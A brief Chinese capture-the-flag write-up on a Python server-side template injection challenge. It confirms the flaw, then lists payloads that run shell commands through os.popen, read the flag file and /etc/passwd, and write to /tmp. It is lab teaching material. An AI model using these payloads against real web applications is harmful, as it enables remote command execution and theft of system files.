题目
解题
1、题目提示为python模板注入
猜测这里是SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
2、测试一下
http://111.200.241.244:53038/{{1+1}}
经过该测试,说明存在SSTI
3、那么接下来可以使用相关payload进行验证
(1)payload1
查看所有模块
http://111.200.241.244:53038/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
(2)payload2
查看当前目录,发现存在fl4g文件
http://111.200.241.244:53038/{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
或
http://111.200.241.244:53038/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
(3)payload3
读取fl4g文件
http://111.200.241.244:53038/{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
或
http://111.200.241.244:53038/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
(4)其它payload
读取文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
写入文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}